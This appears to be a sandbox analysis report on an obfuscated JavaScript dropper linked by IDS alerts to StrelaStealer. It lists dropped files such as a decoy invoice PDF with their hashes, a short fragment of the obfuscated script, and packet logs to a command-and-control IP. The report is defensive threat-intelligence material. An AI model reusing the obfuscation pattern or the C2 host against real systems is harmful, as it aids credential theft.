Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a5bcff11-57ef-4e75-ba10-d60ffe068b0e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\ca7bfc91-c0b9-4b19-a321-0040814e7143.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (13786), with CRLF line terminators
Entropy (8bit):	4.928470950066898
TrID:
File name:	1147112155713680.js
File size:	17'138 bytes
MD5:	17b9ef528cc9a32ecc53f998aac77917
SHA1:	2bebd88c0dc8499d0dbb5ce6a07944d7ce8f2430
SHA256:	e3454750b9ddfa6fb69c1be403b87f6c0a4f69eec9e39e83e9a9e494ef1f0286
SHA512:	b7d04612b6f6b957901a3a4798e2ad3577b853436727f1d3bcc2077e5252112117cc9cdbdd5787327c97f685c13c46703450735d4aaee7f8cabad56af0402baf
SSDEEP:	384:R+9GQUtuX5dsva4usE9GqUAteCM6U+jG+R6dN7jwGriS2ii:rtsEusEAdAteCM6U+jGY6dNo
TLSH:	EF7263D9DA46E73C85E056981DCF14F577AC034C8664B3CF04A208D8231A566DAEBABD
File Content Preview:	function amsdn(){iiiggozck=[1031,3079,5127,4103,2055,3072];var godskvxes=this[bfrtoxmv+qaggtmyg+hjmhbv+xwoli+ydbvcu+ajkswj+vwtlku+laeup](this[awqvdxjyt+ufkdv+vfxudbc+hjmhbv+hnlsit+bfrtoxmv+laeup][tsohoi+hjmhbv+ydbvcu+qaggtmyg+laeup+ydbvcu+akweh+ltjhnnbp+x

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T05:17:37.733047+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-11T05:17:37.733047+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-11T05:17:40.447624+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:17:36.953380108 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:36.958340883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:36.958466053 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:36.961672068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:36.966507912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.732964039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.732992887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.733004093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.733021975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.733033895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.733043909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.733047009 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.733052015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.733067036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.733079910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.733091116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.733097076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.733114004 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.733128071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.737989902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.738003016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.738015890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.738027096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.738038063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.738050938 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.738086939 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.779290915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.779309034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.779350042 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.822585106 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.853632927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.853656054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.853667021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.853718042 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.853792906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.853832006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.853868961 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.854154110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.854173899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.854187012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.854197979 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.854198933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.854219913 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.854541063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.854554892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.854568958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.854578972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.854582071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.854598999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.854975939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.854989052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.855000973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.855014086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.855021000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.855034113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.855046034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.855053902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.855082035 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.855853081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.855865955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.855878115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.855890989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.855895996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.855901003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.855937958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.906119108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.942986012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.943000078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.943011045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.943104029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.974236965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.974282980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.974373102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.974406958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.974443913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.974481106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.974487066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.974515915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.974550962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.974551916 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.974590063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.974627018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.974911928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.974941015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.974977016 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.974992990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.975025892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.975059986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.975064993 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.975095034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.975131989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.975490093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.975522995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.975563049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.975565910 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.975598097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.975630999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.975632906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.975665092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.975699902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.975698948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.976247072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.976279974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.976286888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.976315975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.976349115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.976353884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.976383924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.976417065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.976419926 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.976453066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.976488113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.976490021 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.977056026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.977108002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.977113962 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.977143049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.977185965 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.977201939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.977236032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.977269888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.977277994 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.977304935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.977338076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.977354050 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.978023052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.978056908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.978084087 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.978091955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.978131056 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.982040882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.982072115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.982125044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.982131004 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.982155085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.982194901 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.993185997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.993268013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.993299961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.993313074 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:37.993334055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:37.993371964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.029803991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.063734055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.063806057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.063816071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.063853025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.063885927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.063894033 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.063922882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.063955069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.063966036 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.095406055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.095423937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.095434904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.095447063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.095473051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.095501900 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.095518112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.095529079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.095535040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.095540047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.095575094 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.095738888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.095767021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.095772982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.095850945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.095863104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.095873117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.095891953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.095892906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.095902920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.095916033 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.095938921 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.096323013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.096333027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.096343040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.096354008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.096363068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.096364975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.096378088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.096389055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.096390009 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.096405029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.096407890 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.096416950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.096446991 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.096983910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.096995115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.097007036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.097016096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.097018957 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.097029924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.097040892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.097048998 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.097055912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.097068071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.097076893 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.097078085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.097098112 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.097110033 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.097587109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.097598076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.097606897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.097624063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.097625971 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.097635984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.097642899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.097673893 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:17:38.097800970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.097810984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.097822905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.097832918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.097843885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.097855091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:17:38.097862005 CET	49705	80	192.168.2.8	193.143.1.205
